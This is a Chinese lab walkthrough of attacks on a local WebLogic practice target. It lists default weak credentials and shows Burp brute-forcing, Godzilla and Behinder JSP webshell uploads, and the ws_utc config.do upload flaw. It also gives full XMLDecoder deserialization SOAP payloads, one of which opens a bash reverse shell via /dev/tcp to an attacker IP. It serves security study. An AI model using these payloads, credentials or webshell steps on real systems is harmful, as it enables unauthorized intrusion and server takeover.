赞
踩
目录
安装好环境后,启动环境(环境有问题百度一下)
输入 192.168.xx.xx(自己的靶机地址):7001/console 启动weblogic服务页面。(7001使weblogic的默认地址(可以改),console使初始化weblogci页面)ps:不初始化直接输入7001是一个404报错页面(是正常的)
由于管理员配置不当,该环境存在弱口令的密码问题,可以直接通过常用的弱口令来尝试验证能否登录。常用弱口令:(ps:收集的)
system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem / wlcsystem
wlpisystem / wlpisystem
通过弱口令weblogic / Oracle@123成功登录
此外还可以使用burpusite进行密码爆破
爆破后发现就这个的长度和别人不一样,为账号密码。(ps:只是个爆破流程,这个靶场有点怪怪的,真实环境如果有碰到一些限制密码登录次数的这法子就不太好用了,并且账号密码需要自己的密码本里有才能成功) 登录后,开始对其进行操作
由于weblogic的原因,这里上传的文件是一个war包。而war包是一个web模块,可以直接运行,一般开发好的网站,打包后部署到其的网站根目录下,然后重启,这个包就可以自动解压,相当于代码发布。
war包是java web程序打的包war包里包括: - 代码编译成的 class文件 - 依赖包 - 配置文件 - html,jsp
所以一个war包可以理解为是一个网站项目ps(:这段话引用于:【运维面试】面试官: jar包和war包有什么区别? - 知乎 (zhihu.com))
因此,这里需要将一个jsp的木马文件解压成war包,上传至weblogic的服务器中,来得到其权限。
,因此这里用到了哥斯拉工具来构造一个jsp的木马进行攻击。(ps:JSP全名为Java Server Pages,中文名叫java服务器页面。JSP页面可以包含静态内容和动态内容,动态内容由Java代码生成)
哥斯拉下载可以看看别的佬写的,按下图操作后默认jsp,将其重名到一个新的文件夹下。后缀为jsp
jar -cvf shellwar . 其中 jar -cvf表示对该文件夹内的内容进行压缩(所以要放在一个空的文件夹下) shell.war表示压缩后文件夹的名字(此时该war包内就包含了这个jsp文件) 而最后那个,表示压缩到当前目录下。
选择文件后默认下一步
添加后右键进入url,即可看到相关信息。
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。(ps:反序列化漏洞有点难,可以自行百度一下。目前了解:php中的序列号简单来说就是将数据构造成字符串,将其更加方便开源快捷的进行数据传输,而反序列化就是将序列号的函数给同样的显示出来,而后通过php中的一些魔术方法,构造函数,导致木马的上传,进行攻击。 这里的反序列化漏洞是个xml decode的反序列化漏洞,可以自行百度
水平太菜,讲不清楚,(甚至可能讲错了)建议去看看别的佬。)
开启环境
检测方法:先通过相关工具进行检测(XML反序列化漏洞检测工具),若是检测到该漏洞,则可以用一些基本已经固定的套路对其进行攻击。
拼接URL
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
进行路径拼接得到web services的界面 这里通过反弹shell的方式进行攻击
刷新得到数据包放入重放器
从漏洞原理来看,这个反序列化漏洞是要在post下才能实现的(传送数据给服务器),因此将数据包改为post,并且插入xml数据类型
而后要通过反弹shell进行监听。这里通过一个poc来进行漏洞验证。(ps:poc漏洞验证代码,作用是验证是否存在漏洞。这种poc通常可以在百度上搜索或者自己写一个(后面这种有点难度,建议确认服务器版本后去百度搜索和他有关的漏洞))
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.184.128/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
也可以进行写入文件的操作
中间的cdata就是写入文件的具体代码,作用就是保护中间那个test不会被html解析。从而可以直接对该服务器写代码。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
还可以将wbeshell进行上传,通过冰蝎中自带的shell.jsp文件,而后将该jsp文件(它的代码)拼接到刚刚的poc文件中,形成一个攻击文件。(因为里面已经塞入了一个冰蝎中jsp文件的代码,可以通过该冰蝎文件的代码直接连接至冰蝎。)
点击send发送,就打开冰蝎进行连接。
漏洞原理
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。
由于该漏洞为文件上传的漏洞,因此这里需要先手动得到weblogic的密码进行登录查看。
docker-compose logs | grep password
登录后:
选中web服务测试也并进行保存(因为该漏洞存在于web服务测试页下)
通过http://你自己的靶机IP:7001/ws_utc/config.do该ip,进入weblogic的设置页面下
在work home dir 处会自带一个绝对路径, 一般
是/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir,然后可以结合上述路径更改为如下路径,接着上传jsp文件获取一个webshell
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将该命令复制到work_home_id中。
将冰蝎(server)下的jsp文件进行上传,名字可乱写。
通过f12,寻找页面中的时间戳 这个时间戳每台机子都不一样,主要还是为了表名shell.jsp
文件创立的时间,避免连错其他文件。
通过冰蝎成功连接。
http://192.168.xx.xx:7001/ws_utc/css/config/keystore/xxxx(自己的时间戳)_shell.jsp
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。